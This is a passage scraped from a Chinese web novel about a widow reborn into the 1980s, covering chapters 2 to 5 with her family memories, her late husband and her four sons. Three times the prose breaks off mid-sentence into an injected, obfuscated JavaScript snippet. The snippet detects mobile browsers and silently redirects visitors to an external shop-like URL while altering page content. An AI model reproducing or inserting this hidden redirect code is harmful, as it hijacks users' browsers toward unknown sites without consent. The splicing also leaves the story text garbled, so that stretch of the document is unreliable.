《重生八零再为妻》 2. 第 2 章 第二章: 心累的许玉姝打量住了十多年的老房子,这老院子多好啊,到两千年后城市扩张,这套老院子又给她家算了五套拆迁房。 搬走那天,她哭的就像死去一位亲人,那之后做梦都是这套老房子。 她总是梦到那好人穿着他那件破洞二股筋背心,他坐在小板凳上说,下月拿了钱就给你买袋紫罗兰香粉吧,我看她们都买。 她就笑笑拒绝,买那个干啥,蛤蜊油全家都能用呢。 这里从前是菜场运输队的骡马院子,现在住他们全家。这附近小孩儿跟她家小孩儿打架,一般就是说自己家是住牲口棚子,全家是吃牲口粮的。 得亏她家四个儿都不爱卖嘴,吵架没赢过,打架没输过。 记忆终于开始复苏,她家这会子供应本子根本不够吃,这四个小子吃喝拉撒全是高价的东西,养不起怎么办,就从身上抠唆,从嘴里节省。 最难的时候,二林七八年没买一件新衣裳,养活四个男孩在哪个时代都是噩梦。 物价越来越高,靠着人力去换生活就是拿命在贴补。老戴家曾经的家族历史,就是一本寒酸史。 没钱这件事始终笼罩在他们人生最好的时候,直至两千年后,姐姐的儿子大陆寻亲,靠着外甥的支持家里才开始翻身。 其实许玉姝曾也是有钱人家的孩子。 她出生在一九五五年,十二岁之前有过留学经历的父亲从事出版翻译工作,区别于一般的翻译,他是把华文的文学及其他类的作品,翻译到国外去,而这份工作也来源于他与国外的,一家有华人背景的书局沾亲带故的缘由。 南洋那些地方的华人圈,是有自己的华文出版物,有自己的文化圈子,有时候他们也会看内地的东西。 父亲的工作清闲体面,而她的母亲活着的方式简单而热烈,人生只有一个怨念,就是早晚要与先生生个男丁,她喜欢凑一切热闹,是个时髦的小妇人。 许家祖上靠洋布起家,却振兴于官布(机织布)。 后来老人家喝多了就会唠叨什么毛兰大布两串钱,龙头细布荷花哔叽……洋人,洋人有什么了不起,上等的杭绸运出去眼睛都给他们晃瞎了,他们就是穿麻布的货色。 老人家中年时候也跟人折腾过实业救国,却耐不住各种势力的盘剥祖业就没了大半。而他最有出息的两个儿子也都放弃学业,先后死于护国战争。 之后老人家就跑到南洋购买土地,由此认识了外祖家,两家就此联姻。 有关祖父最后的记忆,是老人家站在廊下仰头,那四水归堂的天空美的就像画布,他说:“今年燕子没回来啊,它不回来吧……” 家里的保姆叫金桂。母亲做的南洋菜家里也不爱吃,她自是有道理的,总是抱怨材料不足,可是材料足的时候,祖父会抱怨吃咖喱就像沾屎。 他没当着母亲说,会提前躲出去。 每当桂阿姨放假的日子,家里就如灾劫,父亲带她跟姐姐去下馆子,叫她最爱吃的虾仁豆腐……桂阿姨最爱说,那虾仁比豆腐还贵也没个吃头,就她嘴刁。 父亲也不嫌弃,一盘子虾仁都要挑给她。她与姐姐只喜欢喝清汤面的汤,父亲就吃剩下的两碗没滋味的细面,而母亲最爱抱怨的话就是她挑食,可她也不喜欢拿饼子沾屎吃。 父亲也有他的挑剔,每当下雨,他就会在步步锦式样的窗棂下,躺在爷爷的摇椅上,选他自己喜欢的书读,还强迫她们听。 她与姐姐也不吃那套,他唠叨他的,她们一人一本丰子恺还不断发出哧哧屁的笑声。 母亲那时必会说,一个个的大知识分子呦,好像只有我不读书似的,于是她就出去找人交际,还是各种社会活动的积极分子。 许玉姝记的妈妈的味道,她总是喷香的,身上的布料颜色鲜艳,小油头盘着,背着小洋包,碎花裙摆飞扬,小皮鞋急促的踩在老式木地板上,她一溜烟儿就跑了。 祖父敲着拐杖对父亲抱怨,你可管管她……父亲就哈哈大笑,这是你们给找的,可别赖我。 再后来……祖父没了,很多人冲进家里让父亲交代资本家张令博,资本家女儿张文倩的下落。 张令博是她的外祖父,张文倩是她母亲,她带着姐姐回南洋那天早上说,就去看看两月就回来的,可她们再没回来。 再联系已是物是人非,姐姐许玉婷在南洋请人带信至父亲的旧单位告之,母因肝病早故,随来信写了联系地址还有三千美刀。 单位不敢做主就给许玉姝打了电报,还联系了侨联,没人知道那年许玉接到电报,虽只是简陋的四个字,有事速来,却吓的她肝胆俱碎。 作为漆黑的那一类孩子,她的胆汁早已干涸,根本不敢承认自己家有海外关系,最后是找了理由悄悄自己去的。侨联那边的人很好,还带着她把外币换了四千七百块的外汇兑换劵。 他们的领导甚至跟许玉姝谈了一次话,说欢迎姐姐回国探亲,看看家乡的风景之类……许玉姝想都不敢想,就急匆匆就离开了。 姐姐来信没多久,还是父亲原单位发来电报,有事速来,这一次是办父亲的平反手续。 怕是父亲都想不到,害他的最后成了恢复他清白的人。 世界又充满了笑模样,可是爸爸已经看不到了。 姐姐的命也不好,她随母亲改嫁成了拖油瓶,长大了又被继父做主联姻,婚后不久丈夫去世,又被母亲做主再嫁,丈夫又早早去了。 那边的街坊亲族说她命硬克人,第一个夫家也将孩子早早的带离了她,姐姐被迫远离,最后定居于希腊。 后来许玉姝才知道,母亲给姐姐找的再嫁丈夫都比她大三十一岁,这就是一场人为的灾劫,可所有的人却怨恨姐姐命不好。 而比起姐姐身不由己的一辈子,她的那些难为又算的了什么? 她跟父亲相依为命,父亲没了还有戴广林,其实她一直被保护着,也曾被人暖在手心呵护过。 作为经历者,许玉姝很想告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420090|200800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来的孩子们,什么穿越,什么重生的,你们可别回来了,不管配给你们的男人女人啥样子,你的富足是这个时代无法想象的。 如果你真的回来了,大概你的生活也就剩下两个作用,想跟所有人讲述今后的生活,将会匍匐在地赞美这些无私的劳动者,他们与他们的父辈用自己的一生捧起了你的富足。 再后来,兴许你要疯,因为这里的一切人他们所做的,想的都与你格格不入。 虽然八十年代的积极向上是真的向上,而八十年代的哀伤也是真的哀伤,如今流行的伤痕文学,《我们这一代年轻人》里写的慕容支所面对的难,戴广林何尝没有经历过,从□□到精神他都被考验过,可他还是娶了自己,一个漆黑的资本家后代。 许玉姝不记的她与戴广林第一次见面时什么时间,是爸爸隔三差五的被拖出去挂牌子批斗,她躲在磨盘后面哭的时候? 还是那群下乡的知识青年,敲着千疮百孔的搪瓷碗远远的看热闹,跟着喊喊口号的时候。 也许在进山的小路上偶尔会遇到,许玉姝不知道那群神采飞扬的年轻人来自哪里,心里有的只是羡慕。 后来在一个初冬的早晨,饥肠辘辘的许玉姝在院里看到一个窝窝头,她没敢吃,怕有毒。可那之后,常常在院子里发现吃的,有时候是烤的黑不溜秋的土豆,有时候是一只烤田鼠……田鼠味道还是不错的。 在深秋,饿昏头的知青攀爬在柿子树顶上,她低头路过,一个柿子就落在她不远处,还摔的稀烂。 她吓坏了,想绕行。 却听高高的树桠上有人喊她:“喂!就是你,那是给你的。” 许玉姝看看柿子,又仰头去看,那人背后有光,仿若彩霞,如世间一切光明。 她从此与光成了一家人。 时光匆匆,回城接班的接班,被推荐上学的上学,就是坏分子的孩子也要结婚,七三年戴广林娶了许玉姝,这在当时算作十里八乡相当震撼人的一个消息。 这消息大到戴广林的父亲戴顺智连夜乘车到乡下,百般劝说无用,他用铁锹把儿子的胳膊都打折了,可戴广林就是不回头。 老头走的时候说你以后别回来了,我只当没你这个儿子。戴广林捂着胳膊说,好。 他甚至还敢笑。 他以为父亲跟他开玩笑,天真的想不是都打过了吗?年少轻狂不知自己把天捅了一个窟窿,亏得那时候已经是灾难后期,政治气氛渐渐宽松。 苦难岁月结束后,他们靠着戴广林结拜兄弟李京哥的关系,迁了户口到红星菜场,戴广林兴高采烈的带着自己两对双胞胎回灯泡厂的家,可父母却没有让他进门。 他这才知道,家里早就对外宣称跟他断绝关系了。 他们甚至还登报了。 许玉姝永远不能忘记,在那个天气晴好的中午,她的光抱着孩子进门对她说,媳妇,我爸我妈不要我了…… 二林哭了,那是她第一次看到二林哭,也是最后一次。 3. 第 3 章 第三章: 人为了生存,是可以无限扭曲的。 而这个时代的决绝也是无法想象的,说不要是真不要,从肉身到灵魂,他们都会切的干干净净。 回城后没几年,全国都在看电视剧霍元甲,老戴家作为经济条件尚可的家庭有台十二寸的黑白电视机,从此夜夜满院人,甚至厨房顶都有人,任谁都能去看电视,可四个小子过去却被亲奶奶撵走了。 据说他们奶奶单手推着他们的背说,去去去,你们是谁呀,来我们家做什么? 有邻居甚至问,这谁? 孩子们的奶奶说,不知道啊,不是咱们厂的,就那么大点的地方,自己厂子的人都放不下…… 可不是…… 孩子们非常伤心,哭着跑回家,说父亲骗他们。他们的父亲总是远远的指着人告诉他们,那是你们亲奶奶,她暂时跟爸爸生气了,以后我们还会和好的,她不喜欢我还是喜欢你们的…… 那之后,戴广林就再也没提过父母,再没有跟孩子们说过你爷爷奶奶如何如何。 之后二林拿家里所有的积蓄去买了一台匈牙利产的二十四寸黑白电视机,不要票的那种。 就为这台电视,他累的得了肺病,都没养好就又去省城打零工了。 婆婆家就住在街那头的灯泡厂,却一生没有往来,戴广林不到四十岁病故,家里办丧事,戴广林的两个妹妹冲进来把许玉姝挠了一顿,又哭嚎着走了。 可许玉姝不恨她们,她是一个没有反抗精神的人,逼急了只会说,都怪我,是我命不好。 环境就是那样,也养不出多少有钢骨志气的人格,许玉姝上辈子整个人生都在用吓破的肝胆表演顺服。 当一切人都说她对不起二林,她也觉着这话说的没错。 曾经的戴广林是任性肆意的,他神采飞扬什么都不畏惧,甚至他下乡也不是被迫去的,是他最好的兄弟李京下乡了,他就自己报名跟着去了。 而他最好的兄弟李京在工农兵大学毕业后,也想了办法把戴广林跟许玉姝的户口从农村转到关平市的郊区,全家上了菜农集体户。 他们全家就是这样回城的,也不算做回城,算半回城。 那是多少青年跨不过的鸿沟,半生的乡愁,李京哥眼珠子一骨碌就给兄弟办妥当了。 什么时代都不缺聪明人的。 那个岁月除了城市户口,农村户口,集体户口,还有一种户口叫做菜农集体户。 菜农也一度称为菜民,与种粮食的农民伯伯一样他们也种地,却是种蔬菜地赚公分的。 简而言之他们住在城市城郊区,有供应粮本,国家保证口粮,有定量,还有超额补助。 菜民的蔬菜队在城市郊区生产蔬菜,生产的蔬菜定价交售给蔬菜公司,进行菜粮交换。 二林最好的发小李京哥就在蔬菜公司当办公室主任,他跟所有大队的队长都熟稔,有的还是他的长辈。 而这些长辈的底线就是,迁户口进来可以,但是红星菜场不能分给戴广林自留地,也不能让他进入任何蔬菜队。 那时候的人都义气,虽无梁山那种歃血为盟,但有的人一旦结拜了那就是一世兄弟。 李京哥说,没事,我的兄弟我来养,你们先把户口给我上了。 就戴广林那种倔脾气,他能带累兄弟? 人家立刻去了省城,在省城工地上料,他扛钢筋背水泥吃了人世间最大的苦,八十年代初一般正式工才能每月开三十多元,二林能干,每月最少往家拿五十。 那混蛋也特别能忍,生病了,人疼到昏迷都没吭气,抬到手术台上,医生说一刀下去打开腹腔满肚子都是脓。 他去之后,李京在他棺材边左右打自己耳光,他说,弟啊!还不如让你在乡下种地呢…… 不能想……想起这些,许玉姝就摸着心口觉着那里揪着疼,后许多年提起戴广林,心碎成八份,均着倍数疼。 真哭苍天都哭不回来的好人,咋就敢舍了我去…… 许玉姝捂着心正在习惯性的找疼呢,就听到菜场大喇叭滋啦一下断了链接,世界恢复了安宁,她吸吸鼻子,塔拉着破凉鞋就往屋里走,走的太快凉鞋带都绊断了。 她想起心魔一样的一件事,也是后来孩子们抱怨的主因。 这也是他们奶奶家挑唆的根由,他们说你妈有钱不给你爸用,她害死了你们爸爸。 这话没说错,她是有钱的。 还是很多钱。 许玉姝比外人还恨自己呢。 她进了屋,使铁锹在铺下哐哐撬砖头,大概挖了半尺多深,随着一声闷响,扒拉开浮土她抱出一个老上海益民四厂的铁质饼干桶,到此刻,她才有了真实感。 这是真的回来了,不是做梦。 这铁盒埋了没多久,她也没费什么力就撬开了,那里面赫然是一张撕烂拼好的全家福,一封海外来信,一本死期存单,存单上蓝黑色的墨水清晰的写着一万三千六百二十七块五的数目,外加厚厚的百元面值外汇兑换劵,有四千七百块。 存折上的钱属于她父亲许云松的,是他平反后补发的工资,八十年代初到处流行万元户的时候,许玉姝其实早就是万元户了,人人羡慕的海外关系,她也有。 可她是时代的惊弓之鸟,也从不认为这钱是自己的,她甚至想,说不得哪天又要有人冲进家把这钱要走了。 你不能指望一个十二岁后被卷裹进时代的小姑娘能有什么清醒的认知,她连安全感都没有。 得了两笔巨款之后,她在很长的时间夜不能寐,街外人声大点她能蹦起来,之后就在地上挖了一个坑,像埋葬过去一般埋了这东西,心里就畏惧的很。很多人不理解她为什么要这样做,像老戴家说的她的心真的是黑的吗? 没有从那个年月活过的人,谁也没有发言权。 后来,风风雨雨半生守寡,许玉姝总算懂了,不必怕了,日子越来越好了,可戴广林也没了。 许玉姝心里不好受,还是孙女宽慰了她几句,咋说那话来着?其实那是道德绑架呢。 那些人肯定没有过过一天被全世界否定的日子。 守寡的岁月里,许玉姝每一天每一刻都想给二林花钱,她想把他捧在手心里,随他吃喝,他想干什么就干什么,甚至躺在床上赖着,她都愿意给他端吃端喝。 外汇劵是崭新的,厚厚的一叠很有质感,只有上面两张挨着铁盖,防水没做好,就有了几块霉斑,问题不大。 这笔外汇兑换劵是姐姐寄到父亲原单位的,她想找到爸爸和妹妹,可她的妹妹一个字也没回的就把这笔钱跟父亲的钱一起埋了。 九十年代姐姐许玉婷终于从海外归来,许玉姝又瞒着全家去了首都,她也是钻进牛角尖出不来的犟种。 可看到骨瘦如柴的姐姐,又只能说句:“你怎么把日子过成这样,有吃有喝的你把自己照顾成了这样……” 她恨的不行。 姐姐却万分抱歉:“姝啊,我总是不敢来见你的。” 姐姐被人支配的一生其实同样可怜。 那晚姐妹就像小时候一样在一个被窝。许玉姝拿出存折炫耀说:“姐你看,爸爸给我们的,这钱有你一半……” 可那时候一万多其实算不得大钱了,它只够买一台原装进口29寸画王电视机。 于是姐姐又哭了一场。 钱姐姐自然不要,她虽然苦也是精神上的煎熬,物资上她还是不错的。 她在南洋有甘蔗田,有不错的橡胶园,每一任丈夫死去都会给她留下一些财产,她其实算是有钱的寡妇,却画了个圈自己呆在里面继续不幸福。 南洋的华人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420091|200800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为远离家乡人数稀少,他们的生活载体是以宗族关系来体现的,受各国不同政策影响,有的地方华人就与当地的民族融合的比较完全,而有的地方会拼命的保存故乡的民族文化传统,信仰习俗,更受儒家文化影响他们对女子的要求还要高。 张家就是这样的家族,他们生存的方式之一就是联姻,然而张家却不会与当地土著联姻,他们只与对家族发展有好处的华人家庭联姻。舍不得自己的血脉,他们就卖了别人的孩子。 姐姐就是在这样的环境下生活的,她一生对外家最大的反抗就是远离故土去至希腊,死后要求海葬。 她如今应该开了一家不错的糖厂,她走之后那家糖厂被大外甥继承,就变成了糖化学公司。 而她的第三任丈夫是希腊人,是一位身家颇丰的船东,那对她也是呵护备至,然而姐姐回来之前那位也被诊断出肝癌,她很绝望的觉着自己又克了人,彻底的信了命。 那年姐姐走的时候还对许玉姝说,母亲在那边给你留了一片甘蔗田,许玉姝也只是笑笑。人生很累的,老许家在南洋的土地后来都归了张家,这又跟谁去说理呢? 人家恩赐般从手里漏一些出来,你还要说一声谢谢,就不要也罢。 而且二林没了之后她就是个死人了,就连孩子们说她不好,她都不想解释,那些人没去过冥河,又怎么理解河面风寒如霜刀。 眨眼孩子们也半生过去,他们开始尝试理解,总算理解,人生的年轮大部分相同,分开又相融,她却也不想与他们皆大欢喜了。 许玉姝一生对命运最大的反抗,就是我不理你们了,哪怕你们是我的儿子。 姐姐离开没多久,许玉姝又接到海外来信,姐姐也走了。 这世界总一层一层的剥她的皮。 许玉姝都想不通,好好日子啥都不缺,姐姐为什么要死?后来社会兴起了一种疾病,这病叫抑郁症。 她就跟孩子们说,你们大姨肯定是抑郁了。无枝可依的姐姐一定是抑郁症了…… 谁能有先后眼呢,如果有,许玉姝一定会紧紧拥抱着姐姐说,姐姐感觉到了吗?我的血是热的,你的血液必然是热的。 无人可依我们就互相取暖吧,你看我的面子,能为我活几天吗? 我是爱你的,你知道吗,你的仔仔为你潜匿二十年,他将阻隔你们母子团聚的人都连根拔起了,他以你的名义成立了慈善基金会,他修桥铺路给妈祖建大庙,他甚至庇护了我……还有我的孩子们。 他总是想透过我去寻找你的身影,可我又不是你。 许玉姝在内心世界正追忆人生呢,院门被巨力踢开,死了妈一样的告状声从院子里传来:“妈!我哥打我……” 小老四冲进屋抱着母亲的腿嚎啕大哭:“妈!!我哥没给买油糕,还打我……” 脚步急促,纷争又起。 “不是不是,他他他他答应一起买的!” “我哥骗人,他还藏了我一毛钱!” “妈,我哥就给我买了一个烧饼……” “妈!我哥自己吃糖烧饼!!!” “妈!!!!” 宁静的夏天,蛐蛐在庭院里鸣叫,母鸡在歇在院角的土坑,昏暗的院子灯下摆着小圆桌,桌上放着油炸糕与鸡蛋汤,这是老戴家的上等饭。 许玉姝表情安静的坐着,努力在做一个情绪稳定的妈妈。 其实这个世界也再没任何东西能使得她动容了。 六岁的戴向阳,戴向光,四岁的戴向明面朝墙壁在罚站。最小的戴向辉双手捧着油糕蹲在门槛后面,他小心翼翼的吃着,偶尔与哥哥眼神碰撞,三个大的就对他齐齐吐吐沫小声骂到:“呸!狗叛徒!” 老四万般惶恐,咬了一口油糕悄咪咪缩了回去,片刻又冒头对着他们咬了一口油糕,又缩回去。 4. 第 4 章 第四章: 许玉姝简直没眼看,也不敢深想。 重生这件事她高兴,然而,又要把这几个猴拉吧大,她就开始痛苦。 相当痛苦。 靠着墙根的地方传来小声的咒骂声: “呸,死叛徒。” “告状精,告告告,三大炮,爷爷喝酒你喝尿。” 戴老三把小黑手捂在屁股上,不时假装放个屁往戴老四的方向喷射,他嘴里甚至还配了音。 戴老四又咬了一口油糕,合着鼻涕吃到嘴里,他挑挑眉,吧嗒一下嘴儿的又退回去了。 哎~他又拿了一个新的。 许玉姝捂着脑门痛苦,哎呦,这讨贱的玩意儿,怪不得他们三个总是不跟你玩儿呢。 大孩子们很生气,眼窝浅的老三已经开始默默无语两眼泪。 最大的那个甚至狠叨叨的说:“今晚~我们就把狗叛徒处决了吧!” 他们一起点头:“嗯!” 许玉姝捂嘴轻咳嗽,三个大的立刻面壁站好,依旧气的浑身发抖。这个家总是有各种各样的官司,一直打倒她都要入土了他们还是互相不服气。 今儿的官司很简单,这帮小家伙发了横财,他们每个人有五毛钱,合起来就是两块钱! 如此,此世界就搁不下他们了。 曾经的抠妈许玉姝最多给他们五分钱,还让他们四个人分,呃,她的错她的错。 那两个大的早就想买小人书了,就一番甜言蜜语,哄的两个小的去了新华书店。 开始就想买两三本,结果越买越多,两块钱买了十五本《三国演义》,又去供销社买了三十颗酸三色糖,还想买才发现油糕钱没了,老大建议吃烧饼,老四不愿意,人家是要自己的钱呢。 为了平息内部矛盾,老大决定在大街上分了那些酸三色糖。三十个糖,臭孩子在大街上就吃的一干二净。 老四最小分的最少,他当时就在大街上开始打滚了,大的觉的丢人就给了弟弟两脚。 弟弟从西街一路嚎着归了家,就跟有人杀他一样。 许玉姝能怎么办,从前刷视频,教育家说孩子小时候被父母金钱上苛待,孩子长大了会拼命花钱补偿自己的。仔细想还真是,这些个孩子长大了都是存不住钱的主儿。 她这才开始大方一次,也不是故意大方,实在是后面花钱花开了,她没觉的五毛钱是个大钱。 这都不是大问题,她罚是为分赃不均大的集体打了弟弟,那从西街一路踢回来的,可怜的老四半屁股泥。 老四还哭着说,他们集体打他脖子了,由于他脖子一圈黑,跟黑车轴一般,她就没验出伤来。 这也不就是大问题。 那你们就是花了人家老四的钱吗,钱还是老三那个家伙哄出来的,哦,你们分吃糖烧饼,给人老四一个五香的,就对吗?就说玩艺术的心黑。 饿的还是轻啊。 想到这儿,许玉姝狠狠的瞪了几眼死孩崽子。 面壁的,吃油糕的都齐齐打了个寒颤,不大喊大叫,不发脾气的妈妈太可怕了,她还是打他们一顿吧。 大卡车带拖挂的声音从门前公路轰然路过,许玉姝拍拍桌子说:“都过来吃吧。” 为了老四可以活下去,忍了。 三个孩子发出长长的呼气声,一个个的慢慢挪到桌边缓缓坐下,刚想吃又听到母亲说:“去洗手!” 他们今儿格外乖顺,一起走到院中水龙头的边上,手段粗鲁的抹了一下水,就抹了一下,绝对没有第二下。 回头就看到母亲拿着家里的旧毛巾一脸严肃的侯着…… 一刹那……小院里传出杀猪崽的哀鸣。 许玉姝非常思念搓澡巾。 深夜,远处的某地也许在放电影,破碎的银幕喇叭声断断续续若隐若现,许玉姝提前烧了三盘蚊香,家务活她是一点没干。 她想花钱,要买洗衣机,要买电饭锅,要买电风扇……不都说她抠吗?她有钱! 就都给他们造了,一个钢镚她都不预备留了。 以后她就把二林留在身边,她要像哄孩子一样捧着他活,绝对不让他吃一点苦。 她那时候可真傻啊!害怕什么呢?那后来祖国兴盛,再不会有人冲进家里迫害她了,可她的钱也越来越不值钱了。 吃饱的孩子们进入最可爱的时分,睡的香甜又平顺。 老母亲就痴痴盯着孩子们的小脸看,这洗干净了是好看啊,可再从这些可爱脸去想他们半生的时间线,又觉怨恨。 她生平最恨一个词,这是~原生家庭的迫害。 都滚蛋吧,老娘还没怨恨原生家庭呢,怎么就轮到你们来怨恨了,好像老娘活的挺幸福似的。 那外面谁的错都能放下,对母亲的埋怨就要一直放在心里系疙瘩,这帮小心眼儿。 大崽子伸出手使劲揉鼻子,许玉姝左右看看,从笤帚上折了一根枝子,就那么狼狈的趴着,手颤抖着从老大鼻窟窿里挑出那么大的一个鼻嘎。 啊,怎么办,她有四个鼻嘎制造机。 拍死一只蚊子,许玉姝挠挠脚踝,把孩子们从上到下检查了一遍。 果然,人均好几个包。 明天必须买窗纱! 这几个孩子也命不好,正是需要父亲的时候没了父亲,母亲又是个见识短浅且怯懦的货色。 老大戴向阳虽然是老大,却也没有享受过什么长子福分。他只比老二大十几分钟,却要承担完全不一样的责任,每次集体犯错父母总是先教训他。 也许真是教育上的缺失,这孩子一辈子都没做一件成功的事情。他总想统领全家,却谁也领导不了。 他思想是永远的墙头草,想奔向世界站潮头,却永远慢半拍,他平生最大的乐趣就是坐在老母亲门前,跟菜场的一群同龄人吹各种股市传说,其实这玩意儿跟在三个小的后面吃了一辈子屁。 老二戴向光是最恨自己的人,他也是家中最爱父亲的孩子,他恨自己吝啬,对自己的海外关系更不屑一顾,他沉默不语的熬着,等着长大就出国学了个地质勘探,最后还做了大学教授,那之后他就满世界带着学生做课题,后受雇于国外矿业公司,开始举着鹤嘴钳敲打蓝星的犄角旮旯。 他离自己远远的,除了每个月给足了养老金,重生之前,她其实已经十年没见他了,多年后他从国外送回来一个小混血,那是自己最爱的孙女,一个母不详的孩子。 老三戴向明是家里最好看的孩子,他浑身都是艺术细胞,却没有学过任何艺术。无处宣泄只好开始盘串儿。 最初他盘一个,后来就满家满身都是串儿,谁身上人油多谁就是他的挚爱亲朋。 大概许觉着买串常被坑,就找了表哥去东南亚找名贵木料自己车串子,车来车去他就成了文玩商人。 后来这家伙南洋玩够了,已经常驻非洲折腾了,没人知道他有多少钱,他自己也说没现钱,他的钱都是保险柜里的各种石头木头。 最后是老四戴向辉,全家最想的开的一个娃,表哥是做航运的,他出国留学就学航运,毕业后就去希腊给表哥跑腿,从航运辅助业到船东,这孩子走了十七年。 小四说,他的第二艘货运船将会在国内的船厂定制,以后他就是华夏的船东了。 钱老四是真没少赚,可乱七八糟的东西也没少吃,尤其是甜品,饿死鬼投胎一样,一边打胰岛素一边吃,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420092|200800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把自己吃成一个快三百斤的胖子。 许玉姝也纳闷呢,没饿着你啊,怎么这样贪吃?今天算是找到答案了,怕是给哥哥们抢食抢的有了心病了。 许玉姝就像对鬼子放黑枪一样,继续掏鼻嘎。 她想好了,必须再买个照相机。 孩子与母亲的关系总是很奇怪的,尤其是有儿子的母亲,在迎娶儿媳妇之后,母权就会犹如冰山逢春,逐步融化。 这是一个必然的跌落过程。 他们从前常说没有被母亲爱过,真难为人,也没人教她什么是爱啊? 而且这个时代的母亲只致力于一件事,就是拼了命也要找食物把孩子们喂饱了,她们可不止一个孩子。 黑崽子在乡下上学算作是啥也没学,全靠着父亲私下里想起什么就教一点什么,那村里人当她传染病一样,那些小孩儿没事就拿石头丢她,后来父亲神志不清,她又开始照顾父亲。 她不懂人情世故更不会融入群体。少年时做下的精神烙印使得她看到人潮汹涌就贴墙站着……她怎么去爱,爱的表达方式又是怎么样的? 真是到死都没学会。 屋里昏黄的灯泡忽然熄灭……打断了记忆里的不幸往事。 许玉姝触电一样缩回手,靠着墙大气都不敢出,感觉小老三狠揉了一阵鼻子,翻身又睡,她才缓缓出了一口气。 四处看看,半天才想起来这应该是限电了。 对!这会子总是停电的,红星菜场还是农村用电呢。 许玉姝无奈叹息,找到蜡烛点燃,趴在床上开始在有蔬菜公司字头的稿纸上给姐姐写信。 李京哥常常给家里送东西,他穿过的毛裤半棉袄,冬天发的福利带鱼他都剁半条,这些稿纸是他拿给孩子们折飞机的。 思考许久,许玉姝这样写到,亲爱的姐姐: 接到你的来信很久很久了,我不想找你是……嫉妒两个字许玉姝不会写,她本来学历不高,而且后来玩手机的也大都不太会写字了。 她爬起来找到一本二林的旧字典,二林也学习不好,字典上四处画小人。 找到嫉妒两个字,她一笔一划的抄写在信纸上。 ……我不想找你是因为嫉妒你,我嫉妒那年妈妈带了你走没有带我,后来的生活很苦,嗯……可爸爸却说你一定更苦,我就更生气了。 爸爸说张文倩没有主见,她连自己都保护不了更保护不了婷婷,婷婷跟着她是一定会吃大苦的。 姐姐你吃苦了吗?有人欺负你吗?如果有也别怕,也要勇敢。实在不好就来找我,我照顾你也是可以的……我有四个儿子,可以送你玩儿……随便玩。 许玉姝都活了六十多年了,她的文字无论如何都不会浅薄,可这会子也只能努力扮演一个什么都不懂的半文盲,尽量把内容写的又浅又白了。 这老太太其实心眼是很多的。 ……姐姐,我们乡下有个山神庙,那庙在山角还没有碾子大……碾不会写,又查了一次字典。 ……山神庙还没有碾子大,爸爸上山扛木头路过,如果左右没人,他会认真的央求山神爷爷说,请保佑我的婷婷平平安安,可山神老爷才管几亩地啊。 我说山神仙不管外面的事,咱爸说,它可以跟同事说说……姐姐,爸爸最后几年其实不正常了,他不知道饥饱,就漫山遍野的喊: 亲爱的,我知道我死后,你会常来看我,来时步行,回去千万坐马车……那些村民因为他说亲爱的骂他不要脸,老疯子。 后来爸爸就走了,留下我一个人继续嫉妒你。姐姐,爸爸很想你,害怕你累,害怕你苦,他怕你无枝可依,他想你什么都好好的,所以你可千万要好好的…… 5. 第 5 章 第五章: 说父亲想姐姐,这段是许玉姝杜撰的,父亲沉默寡言,很少对外表达内心世界,可许玉姝想姐姐感受到父爱。 她停笔,想劝姐姐想开些,却没有相关例子,思考了很久,总算想起戴广林带她唯一看过的一次电影,酝酿半天继续写到…… “姐姐,前些天菜场在场院放电影,电影叫《电梯上》对,就是我们小时候坐过的电梯,电影里的电梯比小时候的好,像个房子,门不是个铁栅栏。 在栅栏与栏杆之间她又查了一次字典。 ……那个电影说的是有个芭蕾舞(查字典)演员后来腿断了,她就去做了电梯女司机?她每天开电梯。后来她认识了一个画家,那个画家的画能卖五百块钱啊……” 写到这里,许玉姝放下笔,忽然觉着这个时代的人真的很有趣。 跳芭蕾的因为腿断了,就去看电梯。 那,放到以后,这种人开个舞蹈班赚钱不说,单位还不敢管,无他,人家这是工伤残疾,搞点副业也没人说啥。 可放到这个时候,就不行。 也不是不行,是没这个概念,他们自己也放不下架子去高个体。 哎,违背良心继续写吧。 劳动者万岁。 “电梯员的那位画家,画过她跳的天鹅湖,那个电梯女司机对画家说,她跳的天鹅应该是有理想的天鹅。 回来的路上我说我也要做有理想的天鹅,戴广林却嘲笑我说,天鹅有了理想难不成想变成座山雕,座山雕多丑啊…… 雕,查字典。 “姐姐,我的丈夫叫戴广林,他大我两岁对我也好,二林是我这辈子,遇到的最好的的爱人,没有比他更好的了。 他在深渊里救了我,从泥潭里把我拉出来,现在我跟他有了四个孩子,两对双胞胎都是男孩,一对六岁一对四岁,都是男孩,调皮的让我常常忘记哭咱爸爸。 